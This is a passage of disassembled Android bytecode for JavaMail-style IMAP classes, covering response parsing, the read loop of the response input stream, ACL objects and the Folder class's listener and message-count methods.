00000056 goto :A
:58
00000058 move-exception v0
:5A
0000005A const/4 v0, 0xFFFFFFFFFFFFFFFF
0000005C goto :48
.catch NumberFormatException {:38 .. :46} :58
.end method
.method public readString()String
.registers 3
00000000 const/4 v0, 0x0
00000002 const/4 v1, 0x1
00000004 invoke-direct Response->parseString(Z, Z)Object, p0, v0, v1
0000000A move-result-object v0
0000000C check-cast v0, String
00000010 return-object v0
.end method
.method public readString(C)String
.registers 5
00000000 invoke-virtual Response->skipSpaces()V, p0
00000006 iget v0, p0, Response->index:I
0000000A iget v1, p0, Response->size:I
0000000E if-lt v0, v1, :16
:12
00000012 const/4 v0, 0x0
:14
00000014 return-object v0
:16
00000016 iget v0, p0, Response->index:I
:1A
0000001A iget v1, p0, Response->index:I
0000001E iget v2, p0, Response->size:I
00000022 if-ge v1, v2, :36
:26
00000026 iget-object v1, p0, Response->buffer:[B
0000002A iget v2, p0, Response->index:I
0000002E aget-byte v1, v1, v2
00000032 if-ne v1, p1, :48
:36
00000036 iget-object v1, p0, Response->buffer:[B
0000003A iget v2, p0, Response->index:I
0000003E invoke-static ASCIIUtility->toString([B, I, I)String, v1, v0, v2
00000044 move-result-object v0
00000046 goto :14
:48
00000048 iget v1, p0, Response->index:I
0000004C add-int/lit8 v1, v1, 0x1
00000050 iput v1, p0, Response->index:I
00000054 goto :1A
.end method
.method public readStringList()[String
.registers 6
00000000 const/4 v0, 0x0
00000002 invoke-virtual Response->skipSpaces()V, p0
00000008 iget-object v1, p0, Response->buffer:[B
0000000C iget v2, p0, Response->index:I
00000010 aget-byte v1, v1, v2
00000014 const/16 v2, 0x28
00000018 if-eq v1, v2, :1E
:1C
0000001C return-object v0
:1E
0000001E iget v1, p0, Response->index:I
00000022 add-int/lit8 v1, v1, 0x1
00000026 iput v1, p0, Response->index:I
0000002A new-instance v1, Vector
0000002E invoke-direct Vector-><init>()V, v1
:34
00000034 invoke-virtual Response->readString()String, p0
0000003A move-result-object v2
0000003C invoke-virtual Vector->addElement(Object)V, v1, v2
00000042 iget-object v2, p0, Response->buffer:[B
00000046 iget v3, p0, Response->index:I
0000004A add-int/lit8 v4, v3, 0x1
0000004E iput v4, p0, Response->index:I
00000052 aget-byte v2, v2, v3
00000056 const/16 v3, 0x29
0000005A if-ne v2, v3, :34
:5E
0000005E invoke-virtual Vector->size()I, v1
00000064 move-result v2
00000066 if-lez v2, :1C
:6A
0000006A new-array v0, v2, [String
0000006E invoke-virtual Vector->copyInto([Object)V, v1, v0
00000074 goto :1C
.end method
.method public reset()V
.registers 2
00000000 iget v0, p0, Response->pindex:I
00000004 iput v0, p0, Response->index:I
00000008 return-void
.end method
.method public skip(I)V
.registers 3
00000000 iget v0, p0, Response->index:I
00000004 add-int/2addr v0, p1
00000006 iput v0, p0, Response->index:I
0000000A return-void
.end method
.method public skipSpaces()V
.registers 3
00000000 iget v0, p0, Response->index:I
00000004 iget v1, p0, Response->size:I
00000008 if-ge v0, v1, :20
:C
0000000C iget-object v0, p0, Response->buffer:[B
00000010 iget v1, p0, Response->index:I
00000014 aget-byte v0, v0, v1
00000018 const/16 v1, 0x20
0000001C if-eq v0, v1, :22
:20
00000020 return-void
:22
00000022 iget v0, p0, Response->index:I
00000026 add-int/lit8 v0, v0, 0x1
0000002A iput v0, p0, Response->index:I
0000002E goto :0
.end method
.method public skipToken()V
.registers 3
00000000 iget v0, p0, Response->index:I
00000004 iget v1, p0, Response->size:I
00000008 if-ge v0, v1, :20
:C
0000000C iget-object v0, p0, Response->buffer:[B
00000010 iget v1, p0, Response->index:I
00000014 aget-byte v0, v0, v1
00000018 const/16 v1, 0x20
0000001C if-ne v0, v1, :22
:20
00000020 return-void
:22
00000022 iget v0, p0, Response->index:I
00000026 add-int/lit8 v0, v0, 0x1
0000002A iput v0, p0, Response->index:I
0000002E goto :0
.end method
.method public toString()String
.registers 4
00000000 iget-object v0, p0, Response->buffer:[B
00000004 const/4 v1, 0x0
00000006 iget v2, p0, Response->size:I
0000000A invoke-static ASCIIUtility->toString([B, I, I)String, v0, v1, v2
00000010 move-result-object v0
00000012 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public abstract interface ResponseHandler
.super Object
.source ""
.method public abstract handleResponse(Response)V
.end method
#--------------------------------------------------------------------------------
.class public ResponseInputStream
.super Object
.source ""
.field private static final incrementSlop:I = 0x10
.field private static final maxIncrement:I = 0x40000
.field private static final minIncrement:I = 0x100
.field private bin:BufferedInputStream
.method public constructor <init>(InputStream)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, BufferedInputStream
0000000A const/16 v1, 0x800
0000000E invoke-direct BufferedInputStream-><init>(InputStream, I)V, v0, p1, v1
00000014 iput-object v0, p0, ResponseInputStream->bin:BufferedInputStream
00000018 return-void
.end method
.method public readResponse()ByteArray
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-virtual ResponseInputStream->readResponse(ByteArray)ByteArray, p0, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public readResponse(ByteArray)ByteArray
.registers 12
00000000 const/high16 v4, 0x40000
00000004 const/16 v5, 0x100
00000008 const/16 v2, 0x80
0000000C const/4 v9, 0xFFFFFFFFFFFFFFFF
0000000E const/4 v1, 0x0
00000010 if-nez p1, :22
:14
00000014 new-instance p1, ByteArray
00000018 new-array v0, v2, [B
0000001C invoke-direct ByteArray-><init>([B, I, I)V, p1, v0, v1, v2
:22
00000022 invoke-virtual ByteArray->getBytes()[B, p1
00000028 move-result-object v0
0000002A move-object v2, v0
0000002C move v0, v1
:2E
0000002E move v3, v1
00000030 move v6, v1
:32
00000032 if-nez v3, :46
:36
00000036 iget-object v6, p0, ResponseInputStream->bin:BufferedInputStream
0000003A invoke-virtual BufferedInputStream->read()I, v6
00000040 move-result v6
00000042 if-ne v6, v9, :58
:46
00000046 move v3, v6
00000048 if-ne v3, v9, :A0
:4C
0000004C new-instance v0, IOException
00000050 invoke-direct IOException-><init>()V, v0
00000056 throw v0
:58
00000058 packed-switch v6, :138
:5E
0000005E array-length v7, v2
00000060 if-lt v0, v7, :7A
:64
00000064 array-length v2, v2
00000066 if-le v2, v4, :6C
:6A
0000006A move v2, v4
:6C
0000006C invoke-virtual ByteArray->grow(I)V, p1, v2
00000072 invoke-virtual ByteArray->getBytes()[B, p1
00000078 move-result-object v2
:7A
0000007A add-int/lit8 v7, v0, 0x1
0000007E int-to-byte v8, v6
00000080 aput-byte v8, v2, v0
00000084 move v0, v7
00000086 goto :32
:88
00000088 if-lez v0, :5E
:8C
0000008C add-int/lit8 v7, v0, 0xFFFFFFFFFFFFFFFF
00000090 aget-byte v7, v2, v7
00000094 const/16 v8, 0xD
00000098 if-ne v7, v8, :5E
:9C
0000009C const/4 v3, 0x1
0000009E goto :5E
:A0
000000A0 const/4 v3, 0x5
000000A2 if-lt v0, v3, :B6
:A6
000000A6 add-int/lit8 v3, v0, 0xFFFFFFFFFFFFFFFD
000000AA aget-byte v3, v2, v3
000000AE const/16 v6, 0x7D
000000B2 if-eq v3, v6, :BE
:B6
000000B6 invoke-virtual ByteArray->setCount(I)V, p1, v0
000000BC return-object p1
:BE
000000BE add-int/lit8 v3, v0, 0xFFFFFFFFFFFFFFFC
:C2
000000C2 if-gez v3, :11A
:C6
000000C6 if-ltz v3, :B6
:CA
000000CA add-int/lit8 v3, v3, 0x1
000000CE add-int/lit8 v6, v0, 0xFFFFFFFFFFFFFFFD
:D2
000000D2 invoke-static ASCIIUtility->parseInt([B, I, I)I, v2, v3, v6
:D8
000000D8 move-result v3
000000DA if-lez v3, :2E
:DE
000000DE array-length v6, v2
000000E0 sub-int/2addr v6, v0
000000E2 add-int/lit8 v7, v3, 0x10
000000E6 if-le v7, v6, :104
:EA
000000EA add-int/lit8 v2, v3, 0x10
000000EE sub-int/2addr v2, v6
000000F0 if-le v5, v2, :12C
:F4
000000F4 move v2, v5
:F6
000000F6 invoke-virtual ByteArray->grow(I)V, p1, v2
000000FC invoke-virtual ByteArray->getBytes()[B, p1
00000102 move-result-object v2
:104
00000104 if-lez v3, :2E
:108
00000108 iget-object v6, p0, ResponseInputStream->bin:BufferedInputStream
0000010C invoke-virtual BufferedInputStream->read([B, I, I)I, v6, v2, v0, v3
00000112 move-result v6
00000114 sub-int/2addr v3, v6
00000116 add-int/2addr v0, v6
00000118 goto :104
:11A
0000011A aget-byte v6, v2, v3
0000011E const/16 v7, 0x7B
00000122 if-eq v6, v7, :C6
:126
00000126 add-int/lit8 v3, v3, 0xFFFFFFFFFFFFFFFF
0000012A goto :C2
:12C
0000012C add-int/lit8 v2, v3, 0x10
00000130 sub-int/2addr v2, v6
00000132 goto :F6
:134
00000134 move-exception v1
00000136 goto :B6
.catch NumberFormatException {:D2 .. :D8} :134
00000138 .packed-switch 0xA
:88
.end packed-switch
.end method
#--------------------------------------------------------------------------------
.class public ACL
.super Object
.source ""
.implements Cloneable
.field private name:String
.field private rights:Rights
.method public constructor <init>(String)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, ACL->name:String
0000000A new-instance v0, Rights
0000000E invoke-direct Rights-><init>()V, v0
00000014 iput-object v0, p0, ACL->rights:Rights
00000018 return-void
.end method
.method public constructor <init>(String, Rights)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, ACL->name:String
0000000A iput-object p2, p0, ACL->rights:Rights
0000000E return-void
.end method
.method public clone()Object
.registers 3
00000000 invoke-super Object->clone()Object, p0
00000006 move-result-object v0
00000008 check-cast v0, ACL
0000000C iget-object v1, p0, ACL->rights:Rights
00000010 invoke-virtual Rights->clone()Object, v1
00000016 move-result-object v1
00000018 check-cast v1, Rights
0000001C iput-object v1, v0, ACL->rights:Rights
00000020 return-object v0
.end method
.method public getName()String
.registers 2
00000000 iget-object v0, p0, ACL->name:String
00000004 return-object v0
.end method
.method public getRights()Rights
.registers 2
00000000 iget-object v0, p0, ACL->rights:Rights
00000004 return-object v0
.end method
.method public setRights(Rights)V
.registers 2
00000000 iput-object p1, p0, ACL->rights:Rights
00000004 return-void
.end method
#--------------------------------------------------------------------------------
.class public AppendUID
.super Object
.source ""
.field public uid:J
.field public uidvalidity:J
.method public constructor <init>(J, J)V
.registers 7
00000000 const-wide/16 v0, 0xFFFFFFFFFFFFFFFF
00000004 invoke-direct Object-><init>()V, p0
0000000A iput-wide v0, p0, AppendUID->uidvalidity:J
0000000E iput-wide v0, p0, AppendUID->uid:J
00000012 iput-wide p1, p0, AppendUID->uidvalidity:J
00000016 iput-wide p3, p0, AppendUID->uid:J
0000001A return-void
.end method
#--------------------------------------------------------------------------------
.class public abstract interface IMAPFolder$ProtocolCommand
.super Object
.source ""
.method public abstract doCommand(IMAPProtocol)Object
.end method
#--------------------------------------------------------------------------------
.class DefaultFolder$1
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:DefaultFolder
.field private final synthetic val$pattern:String
.method constructor <init>(DefaultFolder, String)V
.registers 3
00000000 iput-object p1, p0, DefaultFolder$1->this$0:DefaultFolder
00000004 iput-object p2, p0, DefaultFolder$1->val$pattern:String
00000008 invoke-direct Object-><init>()V, p0
0000000E return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 4
00000000 const-string v0, ""
00000004 iget-object v1, p0, DefaultFolder$1->val$pattern:String
00000008 invoke-virtual IMAPProtocol->list(String, String)[ListInfo, p1, v0, v1
0000000E move-result-object v0
00000010 return-object v0
.end method
#--------------------------------------------------------------------------------
.class DefaultFolder$2
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:DefaultFolder
.field private final synthetic val$pattern:String
.method constructor <init>(DefaultFolder, String)V
.registers 3
00000000 iput-object p1, p0, DefaultFolder$2->this$0:DefaultFolder
00000004 iput-object p2, p0, DefaultFolder$2->val$pattern:String
00000008 invoke-direct Object-><init>()V, p0
0000000E return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 4
00000000 const-string v0, ""
00000004 iget-object v1, p0, DefaultFolder$2->val$pattern:String
00000008 invoke-virtual IMAPProtocol->lsub(String, String)[ListInfo, p1, v0, v1
0000000E move-result-object v0
00000010 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public abstract Folder
.super Object
.source ""
.field public static final HOLDS_FOLDERS:I = 0x2
.field public static final HOLDS_MESSAGES:I = 0x1
.field public static final READ_ONLY:I = 0x1
.field public static final READ_WRITE:I = 0x2
.field private volatile bridge connectionListeners:Vector
.field private volatile bridge folderListeners:Vector
.field private volatile bridge messageChangedListeners:Vector
.field private volatile bridge messageCountListeners:Vector
.field protected mode:I
.field private q:EventQueue
.field private qLock:Object
.field protected store:Store
.method protected constructor <init>(Store)V
.registers 4
00000000 const/4 v1, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 const/4 v0, 0xFFFFFFFFFFFFFFFF
0000000A iput v0, p0, Folder->mode:I
0000000E iput-object v1, p0, Folder->connectionListeners:Vector
00000012 iput-object v1, p0, Folder->folderListeners:Vector
00000016 iput-object v1, p0, Folder->messageCountListeners:Vector
0000001A iput-object v1, p0, Folder->messageChangedListeners:Vector
0000001E new-instance v0, Object
00000022 invoke-direct Object-><init>()V, v0
00000028 iput-object v0, p0, Folder->qLock:Object
0000002C iput-object p1, p0, Folder->store:Store
00000030 return-void
.end method
.method private queueEvent(MailEvent, Vector)V
.registers 5
00000000 iget-object v1, p0, Folder->qLock:Object
00000004 monitor-enter v1
:6
00000006 iget-object v0, p0, Folder->q:EventQueue
0000000A if-nez v0, :1C
:E
0000000E new-instance v0, EventQueue
00000012 invoke-direct EventQueue-><init>()V, v0
00000018 iput-object v0, p0, Folder->q:EventQueue
:1C
0000001C monitor-exit v1
:1E
0000001E invoke-virtual Vector->clone()Object, p2
00000024 move-result-object v0
00000026 check-cast v0, Vector
0000002A iget-object v1, p0, Folder->q:EventQueue
0000002E invoke-virtual EventQueue->enqueue(MailEvent, Vector)V, v1, p1, v0
00000034 return-void
:36
00000036 move-exception v0
:38
00000038 monitor-exit v1
:3A
0000003A throw v0
.catchall {:6 .. :1E} :36
.catchall {:38 .. :3A} :36
.end method
.method private terminateQueue()V
.registers 5
00000000 iget-object v1, p0, Folder->qLock:Object
00000004 monitor-enter v1
:6
00000006 iget-object v0, p0, Folder->q:EventQueue
0000000A if-eqz v0, :3A
:E
0000000E new-instance v0, Vector
00000012 invoke-direct Vector-><init>()V, v0
00000018 const/4 v2, 0x1
0000001A invoke-virtual Vector->setSize(I)V, v0, v2
00000020 iget-object v2, p0, Folder->q:EventQueue
00000024 new-instance v3, Folder$TerminatorEvent
00000028 invoke-direct Folder$TerminatorEvent-><init>()V, v3
0000002E invoke-virtual EventQueue->enqueue(MailEvent, Vector)V, v2, v3, v0
00000034 const/4 v0, 0x0
00000036 iput-object v0, p0, Folder->q:EventQueue
:3A
0000003A monitor-exit v1
0000003C return-void
:3E
0000003E move-exception v0
00000040 monitor-exit v1
:42
00000042 throw v0
.catchall {:6 .. :42} :3E
.end method
.method public declared-synchronized addConnectionListener(ConnectionListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Folder->connectionListeners:Vector
00000006 if-nez v0, :18
:A
0000000A new-instance v0, Vector
0000000E invoke-direct Vector-><init>()V, v0
00000014 iput-object v0, p0, Folder->connectionListeners:Vector
:18
00000018 iget-object v0, p0, Folder->connectionListeners:Vector
0000001C invoke-virtual Vector->addElement(Object)V, v0, p1
:22
00000022 monitor-exit p0
00000024 return-void
:26
00000026 move-exception v0
00000028 monitor-exit p0
0000002A throw v0
.catchall {:2 .. :22} :26
.end method
.method public declared-synchronized addFolderListener(FolderListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Folder->folderListeners:Vector
00000006 if-nez v0, :18
:A
0000000A new-instance v0, Vector
0000000E invoke-direct Vector-><init>()V, v0
00000014 iput-object v0, p0, Folder->folderListeners:Vector
:18
00000018 iget-object v0, p0, Folder->folderListeners:Vector
0000001C invoke-virtual Vector->addElement(Object)V, v0, p1
:22
00000022 monitor-exit p0
00000024 return-void
:26
00000026 move-exception v0
00000028 monitor-exit p0
0000002A throw v0
.catchall {:2 .. :22} :26
.end method
.method public declared-synchronized addMessageChangedListener(MessageChangedListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Folder->messageChangedListeners:Vector
00000006 if-nez v0, :18
:A
0000000A new-instance v0, Vector
0000000E invoke-direct Vector-><init>()V, v0
00000014 iput-object v0, p0, Folder->messageChangedListeners:Vector
:18
00000018 iget-object v0, p0, Folder->messageChangedListeners:Vector
0000001C invoke-virtual Vector->addElement(Object)V, v0, p1
:22
00000022 monitor-exit p0
00000024 return-void
:26
00000026 move-exception v0
00000028 monitor-exit p0
0000002A throw v0
.catchall {:2 .. :22} :26
.end method
.method public declared-synchronized addMessageCountListener(MessageCountListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Folder->messageCountListeners:Vector
00000006 if-nez v0, :18
:A
0000000A new-instance v0, Vector
0000000E invoke-direct Vector-><init>()V, v0
00000014 iput-object v0, p0, Folder->messageCountListeners:Vector
:18
00000018 iget-object v0, p0, Folder->messageCountListeners:Vector
0000001C invoke-virtual Vector->addElement(Object)V, v0, p1
:22
00000022 monitor-exit p0
00000024 return-void
:26
00000026 move-exception v0
00000028 monitor-exit p0
0000002A throw v0
.catchall {:2 .. :22} :26
.end method
.method public abstract appendMessages([Message)V
.end method
.method public abstract close(Z)V
.end method
.method public copyMessages([Message, Folder)V
.registers 6
00000000 invoke-virtual Folder->exists()Z, p2
00000006 move-result v0
00000008 if-nez v0, :46
:C
0000000C new-instance v0, FolderNotFoundException
00000010 new-instance v1, StringBuilder
00000014 invoke-virtual Folder->getFullName()String, p2
0000001A move-result-object v2
0000001C invoke-static String->valueOf(Object)String, v2
00000022 move-result-object v2
00000024 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000002A const-string v2, " does not exist"
0000002E invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000034 move-result-object v1
00000036 invoke-virtual StringBuilder->toString()String, v1
0000003C move-result-object v1
0000003E invoke-direct FolderNotFoundException-><init>(String, Folder)V, v0, v1, p2
00000044 throw v0
:46
00000046 invoke-virtual Folder->appendMessages([Message)V, p2, p1
0000004C return-void
.end method
.method public abstract create(I)Z
.end method
.method public abstract delete(Z)Z
.end method
.method public abstract exists()Z
.end method
.method public abstract expunge()[Message
.end method
.method public fetch([Message, FetchProfile)V
.registers 3
00000000 return-void
.end method
.method protected finalize()V
.registers 1
00000000 invoke-super Object->finalize()V, p0
00000006 invoke-direct Folder->terminateQueue()V, p0
0000000C return-void
.end method
.method public declared-synchronized getDeletedMessageCount()I
.registers 7
00000000 monitor-enter p0
:2
00000002 invoke-virtual Folder->isOpen()Z, p0
:8
00000008 move-result v0
0000000A if-nez v0, :14
:E
0000000E const/4 v0, 0xFFFFFFFFFFFFFFFF
:10
00000010 monitor-exit p0
00000012 return v0
:14
00000014 const/4 v1, 0x0
:16
00000016 invoke-virtual Folder->getMessageCount()I, p0
:1C
0000001C move-result v2
0000001E const/4 v0, 0x1
00000020 move v5, v0
00000022 move v0, v1
00000024 move v1, v5
:26
00000026 if-gt v1, v2, :10
:2A
0000002A invoke-virtual Folder->getMessage(I)Message, p0, v1
00000030 move-result-object v3
00000032 sget-object v4, Flags$Flag->DELETED:Flags$Flag
00000036 invoke-virtual Message->isSet(Flags$Flag)Z, v3, v4
:3C
0000003C move-result v3
0000003E if-eqz v3, :46
:42
00000042 add-int/lit8 v0, v0, 0x1
:46
00000046 add-int/lit8 v1, v1, 0x1
0000004A goto :26
:4C
0000004C move-exception v0
0000004E monitor-exit p0
00000050 throw v0
:52
00000052 move-exception v3
00000054 goto :46
.catchall {:2 .. :8} :4C
.catchall {:16 .. :1C} :4C
.catch MessageRemovedException {:2A .. :3C} :52
.catchall {:2A .. :3C} :4C
.end method
.method public abstract getFolder(String)Folder
.end method
.method public abstract getFullName()String
.end method
.method public abstract getMessage(I)Message
.end method
.method public abstract getMessageCount()I
.end method
.method public declared-synchronized getMessages()[Message
.registers 6
00000000 monitor-enter p0
:2
00000002 invoke-virtual Folder->isOpen()Z, p0
00000008 move-result v0
0000000A if-nez v0, :24
:E
0000000E new-instance v0, IllegalStateException
00000012 const-string v1, "Folder not open"
00000016 invoke-direct IllegalStateException-><init>(String)V, v0, v1
0000001C throw v0
:1E
0000001E move-exception v0
00000020 monitor-exit p0
00000022 throw v0
:24
00000024 invoke-virtual Folder->getMessageCount()I, p0
0000002A move-result v1
0000002C new-array v2, v1, [Message
:30
00000030 const/4 v0, 0x1
:32
00000032 if-le v0, v1, :3A
:36
00000036 monitor-exit p0
00000038 return-object v2
:3A
0000003A add-int/lit8 v3, v0, 0xFFFFFFFFFFFFFFFF
:3E
0000003E invoke-virtual Folder->getMessage(I)Message, p0, v0
00000044 move-result-object v4
00000046 aput-object v4, v2, v3
:4A
0000004A add-int/lit8 v0, v0, 0x1
0000004E goto :32
.catchall {:2 .. :1E} :1E
.catchall {:24 .. :30} :1E
.catchall {:3E .. :4A} :1E
.end method
.method public declared-synchronized getMessages(I, I)[Message
.registers 7
00000000 monitor-enter p0
00000002 sub-int v0, p2, p1
00000006 add-int/lit8 v0, v0, 0x1
:A
0000000A new-array v1, v0, [Message
:E
0000000E move v0, p1
:10
00000010 if-le v0, p2, :18
:14
00000014 monitor-exit p0
00000016 return-object v1
:18
00000018 sub-int v2, v0, p1
:1C
0000001C invoke-virtual Folder->getMessage(I)Message, p0, v0
00000022 move-result-object v3
00000024 aput-object v3, v1, v2
:28
00000028 add-int/lit8 v0, v0, 0x1
0000002C goto :10
:2E
0000002E move-exception v0
00000030 monitor-exit p0
00000032 throw v0
.catchall {:A .. :E} :2E
.catchall {:1C .. :28} :2E
.end method
.method public declared-synchronized getMessages([I)[Message
.registers 6
00000000 monitor-enter p0
:2
00000002 array-length v1, p1
00000004 new-array v2, v1, [Message
:8
00000008 const/4 v0, 0x0
:A
0000000A if-lt v0, v1, :12
:E
0000000E monitor-exit p0
00000010 return-object v2
:12
00000012 aget v3, p1, v0
00000016 invoke-virtual Folder->getMessage(I)Message, p0, v3
0000001C move-result-object v3
0000001E aput-object v3, v2, v0
:22
00000022 add-int/lit8 v0, v0, 0x1
00000026 goto :A
:28
00000028 move-exception v0
0000002A monitor-exit p0
0000002C throw v0
.catchall {:2 .. :8} :28
.catchall {:12 .. :22} :28
.end method
.method public getMode()I
.registers 3
00000000 invoke-virtual Folder->isOpen()Z, p0
00000006 move-result v0
00000008 if-nez v0, :1C
:C
0000000C new-instance v0, IllegalStateException
00000010 const-string v1, "Folder not open"
00000014 invoke-direct IllegalStateException-><init>(String)V, v0, v1
0000001A throw v0
:1C
0000001C iget v0, p0, Folder->mode:I
00000020 return v0
.end method
.method public abstract getName()String
.end method
.method public declared-synchronized getNewMessageCount()I
.registers 7
00000000 monitor-enter p0
:2
00000002 invoke-virtual Folder->isOpen()Z, p0
:8
00000008 move-result v0
0000000A if-nez v0, :14
:E
0000000E const/4 v0, 0xFFFFFFFFFFFFFFFF
:10
00000010 monitor-exit p0
00000012 return v0
:14
00000014 const/4 v1, 0x0
:16
00000016 invoke-virtual Folder->getMessageCount()I, p0
:1C
0000001C move-result v2
0000001E const/4 v0, 0x1
00000020 move v5, v0
00000022 move v0, v1
00000024 move v1, v5
:26
00000026 if-gt v1, v2, :10
:2A
0000002A invoke-virtual Folder->getMessage(I)Message, p0, v1
00000030 move-result-object v3
00000032 sget-object v4, Flags$Flag->RECENT:Flags$Flag
00000036 invoke-virtual Message->isSet(Flags$Flag)Z, v3, v4
:3C
0000003C move-result v3
0000003E if-eqz v3, :46
:42
00000042 add-int/lit8 v0, v0, 0x1
:46
00000046 add-int/lit8 v1, v1, 0x1
0000004A goto :26
:4C
0000004C move-exception v0
0000004E monitor-exit p0
00000050 throw v0
:52
00000052 move-exception v3
00000054 goto :46
.catchall {:2 .. :8} :4C
.catchall {:16 .. :1C} :4C
.catch MessageRemovedException {:2A .. :3C} :52
.catchall {:2A .. :3C} :4C
.end method
.method public abstract getParent()Folder
.end method
.method public abstract getPermanentFlags()Flags
.end method
.method public abstract getSeparator()C
.end method
.method public getStore()Store
.registers 2
00000000 iget-object v0, p0, Folder->store:Store
00000004 return-object v0
.end method
.method public abstract getType()I
.end method
.method public getURLName()URLName
.registers 8
00000000 invoke-virtual Folder->getStore()Store, p0
00000006 move-result-object v0
00000008 invoke-virtual Store->getURLName()URLName, v0
0000000E move-result-object v5
00000010 invoke-virtual Folder->getFullName()String, p0
00000016 move-result-object v0
00000018 new-instance v4, StringBuffer
0000001C invoke-direct StringBuffer-><init>()V, v4
00000022 invoke-virtual Folder->getSeparator()C, p0
00000028 if-eqz v0, :32
:2C
0000002C invoke-virtual StringBuffer->append(String)StringBuffer, v4, v0
:32
00000032 new-instance v0, URLName
00000036 invoke-virtual URLName->getProtocol()String, v5
0000003C move-result-object v1
0000003E invoke-virtual URLName->getHost()String, v5
00000044 move-result-object v2
00000046 invoke-virtual URLName->getPort()I, v5
0000004C move-result v3
0000004E invoke-virtual StringBuffer->toString()String, v4
00000054 move-result-object v4
00000056 invoke-virtual URLName->getUsername()String, v5
0000005C move-result-object v5
0000005E const/4 v6, 0x0
00000060 invoke-direct/range URLName-><init>(String, String, I, String, String, String)V, v0 .. v6
00000066 return-object v0
.end method
.method public declared-synchronized getUnreadMessageCount()I
.registers 7
00000000 monitor-enter p0
:2
00000002 invoke-virtual Folder->isOpen()Z, p0
:8
00000008 move-result v0
0000000A if-nez v0, :14
:E
0000000E const/4 v0, 0xFFFFFFFFFFFFFFFF
:10
00000010 monitor-exit p0
00000012 return v0
:14
00000014 const/4 v1, 0x0
:16
00000016 invoke-virtual Folder->getMessageCount()I, p0
:1C
0000001C move-result v2
0000001E const/4 v0, 0x1
00000020 move v5, v0
00000022 move v0, v1
00000024 move v1, v5
:26
00000026 if-gt v1, v2, :10
:2A
0000002A invoke-virtual Folder->getMessage(I)Message, p0, v1
00000030 move-result-object v3
00000032 sget-object v4, Flags$Flag->SEEN:Flags$Flag
00000036 invoke-virtual Message->isSet(Flags$Flag)Z, v3, v4
:3C
0000003C move-result v3
0000003E if-nez v3, :46
:42
00000042 add-int/lit8 v0, v0, 0x1
:46
00000046 add-int/lit8 v1, v1, 0x1
0000004A goto :26
:4C
0000004C move-exception v0
0000004E monitor-exit p0
00000050 throw v0
:52
00000052 move-exception v3
00000054 goto :46
.catchall {:2 .. :8} :4C
.catchall {:16 .. :1C} :4C
.catch MessageRemovedException {:2A .. :3C} :52
.catchall {:2A .. :3C} :4C
.end method
.method public abstract hasNewMessages()Z
.end method
.method public abstract isOpen()Z
.end method
.method public isSubscribed()Z
.registers 2
00000000 const/4 v0, 0x1
00000002 return v0
.end method
.method public list()[Folder
.registers 2
00000000 const-string v0, "%"
00000004 invoke-virtual Folder->list(String)[Folder, p0, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public abstract list(String)[Folder
.end method
.method public listSubscribed()[Folder
.registers 2
00000000 const-string v0, "%"
00000004 invoke-virtual Folder->listSubscribed(String)[Folder, p0, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public listSubscribed(String)[Folder
.registers 3
00000000 invoke-virtual Folder->list(String)[Folder, p0, p1
00000006 move-result-object v0
00000008 return-object v0
.end method
.method protected notifyConnectionListeners(I)V
.registers 4
00000000 iget-object v0, p0, Folder->connectionListeners:Vector
00000004 if-eqz v0, :1C
:8
00000008 new-instance v0, ConnectionEvent
0000000C invoke-direct ConnectionEvent-><init>(Object, I)V, v0, p0, p1
00000012 iget-object v1, p0, Folder->connectionListeners:Vector
00000016 invoke-direct Folder->queueEvent(MailEvent, Vector)V, p0, v0, v1
:1C
0000001C const/4 v0, 0x3
0000001E if-ne p1, v0, :28
:22
00000022 invoke-direct Folder->terminateQueue()V, p0
:28
00000028 return-void
.end method
.method protected notifyFolderListeners(I)V
.registers 4
00000000 iget-object v0, p0, Folder->folderListeners:Vector
00000004 if-eqz v0, :1C
:8
00000008 new-instance v0, FolderEvent
0000000C invoke-direct FolderEvent-><init>(Object, Folder, I)V, v0, p0, p0, p1
00000012 iget-object v1, p0, Folder->folderListeners:Vector
00000016 invoke-direct Folder->queueEvent(MailEvent, Vector)V, p0, v0, v1
:1C
0000001C iget-object v0, p0, Folder->store:Store
00000020 invoke-virtual Store->notifyFolderListeners(I, Folder)V, v0, p1, p0
00000026 return-void
.end method
.method protected notifyFolderRenamedListeners(Folder)V
.registers 4
00000000 iget-object v0, p0, Folder->folderListeners:Vector
00000004 if-eqz v0, :1E
:8
00000008 new-instance v0, FolderEvent
0000000C const/4 v1, 0x3
0000000E invoke-direct FolderEvent-><init>(Object, Folder, Folder, I)V, v0, p0, p0, p1, v1
00000014 iget-object v1, p0, Folder->folderListeners:Vector
00000018 invoke-direct Folder->queueEvent(MailEvent, Vector)V, p0, v0, v1
:1E
0000001E iget-object v0, p0, Folder->store:Store
00000022 invoke-virtual Store->notifyFolderRenamedListeners(Folder, Folder)V, v0, p0, p1
00000028 return-void
.end method
.method protected notifyMessageAddedListeners([Message)V
.registers 5
00000000 iget-object v0, p0, Folder->messageCountListeners:Vector
00000004 if-nez v0, :A
:8
00000008 return-void
:A
0000000A new-instance v0, MessageCountEvent
0000000E const/4 v1, 0x1
00000010 const/4 v2, 0x0
00000012 invoke-direct MessageCountEvent-><init>(Folder, I, Z, [Message)V, v0, p0, v1, v2, p1
00000018 iget-object v1, p0, Folder->messageCountListeners:Vector
0000001C invoke-direct Folder->queueEvent(MailEvent, Vector)V, p0, v0, v1
00000022 goto :8
.end method
